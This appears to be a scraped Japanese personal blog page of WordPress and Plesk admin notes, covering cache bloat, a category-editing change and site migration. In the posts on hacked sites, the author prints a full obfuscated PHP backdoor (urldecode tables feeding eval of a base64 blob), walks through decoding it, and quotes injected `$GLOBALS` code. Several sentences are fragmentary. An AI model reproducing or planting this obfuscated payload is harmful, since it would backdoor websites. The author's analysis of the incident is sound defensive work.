reniceしても状況が良くならなかったので全体のNICE値を確認。上記スクショの内容よりNICE値が低いものはhttpd,php,mysqlなどなどここで20ドメインほど入っているサーバーの各設定を見直す。キャッシュ系プラグインの見直し。Mysqlも一通り見てみる。ログの肥大化?問題なさそう。Apacheのアクセスログをオフに。******************************Pleskコアファイルをイジらないといけないよhttps://support.plesk.com/hc/en-us/articles/115000067345-How-to-disable-Apache-and-nginx-log-files-for-domain-domains******************************状況変わらず。duコマンドやpleskの管理画面から肥大化しているフォルダがないかここで確認。念の為wp-content/cache/のファイルの数を数えてみた。するとサイトの一つのobjectフォルダ配下に240万のファイルが。これっぽいということでプラグインをオフにしたあとに、removeしました。(通常の削除はタイムアウトしたし)pleskのサイズ計算や、もっと上の階層からのduではファイルの数が多すぎて計算結果が出ていなかった。コメントを残すライブドアからワードプレスにインポートする手順これまた自分用メモですが設定の意図やおまかんな内容が多々含まれるので検索から来た方は参考にしないでくださいw作業は自己責任で。コメントを残すWordPress4.8で記事の編集画面の『新規カテゴリーを追加』の仕様が変わった件wordpress4.8以前は既に存在するカテゴリーを新規追加しようとしたら自動的に既存のカテゴリが選択されていました。いうことかというと既存のカテゴリを新規追加しようとしたらとなっていました。大量のカテゴリがあるサイトでは特に有用な機能ですよね。́Д`)http://www.nxworld.net/wordpress/wp-post-edit-filter-categories.htmlここを参考にfunctions.phpに埋め込んで終了です。コメントを残すクラッキング関連→コードを解読しましたよ〜と。$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iUHh0RFFxZnpZYWhtd0N2Wk51QmpMWHNNVWtJS0piSEVXT2dGeVZBU0dpUm5sVGRjcm9wZU5GU0JIREpreFViS1lDc0VHWHRmakl3cW5ocEF6Z1JsV1Z2ZW9UeW1hdUxkaU9yY1BaUU1OQjlZVVJ5R0N1TEtyV1NGcEIwdkhDTEpMMFRuV29yS3JXU0Z6MTA3cGFpS0FDTEtyV1NGcEIwOXBDcjB6b2k3RVdHWmdvYnlFSUViZ0N2aEkxdE5uMUxnejJFMXgyUzVnM24wcWtwRnoxMFFBT1NpTWFpMFYzMEdDS1RmVWE4dnhJdFFuS1RGcldUa3JDdlFWWTBBRWRUWHgzTFFnMjR2eEl0UW5LVEZyV1RrckN2UU1ZMEFDV2lLQWx5aEkwcmVUZXdkZzN5ZElteTlObXlkeDJiaXgyd2RBSDBBQ0hpN0JIWnpDbXRvRUlMMWNLNHZwS0dzZ0s1aXgzTER4SzFzcktUUWMyOVBwZndHQ3ZoenBhVDRVSUhaQU93R0N2aHZwQ3l2SkgwQUpIMEFOazQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));//オリジナルコードここまで(本当のオリジナルコードは1行になってましたが、セミコロンで改行してます)一つ一つ分解していきたいと思います。"52"つまりデコードするとランダム文字列ができる。それを並び替えして、strstr,base64_decode_substr_,52という文字列ができるんですね。そんなこんなで一個一個辿って行くとこういうコードが出てきましたよ〜と。クラッキング?クラッキング関連→コードを解読しましたよ〜と。コメントを残すまたもやクラッキング関連。別件でまたクラッキングw友人にブログシステムを用意してくれ〜と言われて用意したWPがあるのですが、それの調子が悪いとのことでちょっと見てみました。前回のはキャッシュ仕込み系で、今回のはphpからのファイル作成系。今回のはまた別ルートでした。うーんどこルートだろ。初期ユーザーの名前とパスが甘かったぽい。そもそもお金の単位がRMなのでマレーシアぽい。うーん、晒してやりたい。クラッキング?またもやクラッキング関連。コメントを残すWPの引っ越しでwp-adminにアクセスできない件サーバーのお引越しをしてすぐ、sqlのインポートなどは上手くいき、あとは管理画面にログインするのみ。Limitを64Mにあげて解決。データーベースのアップデートを最初に求められました。if(!isset($GLOBALS[“\x61\156\x75\156\x61”]))とかいう謎のコードが挿入される古いバージョンのままだいぶ放置しているWPを覗くと表示が崩れまくり。調査したところプラグイン真っ白、顔面真っ青になりました。if(!isset($GLOBALS["\x61\156\x75\156\x61"]))から続く長いコードが挿入される。strtolower($_SERVER["HTTP_USER_AGENT"]);ということで追跡調査と、対応策を今後書いていきたい。SSHでつなげてタイムスタンプを見てみたが、そのまま。いう仕組みで書き換え(挿入)されたのか。怪しいwアウトプットしたいことがたくさんあるんだけどね結局こういう新しいことの対策を取らねばならぬ、ぐぬぬ。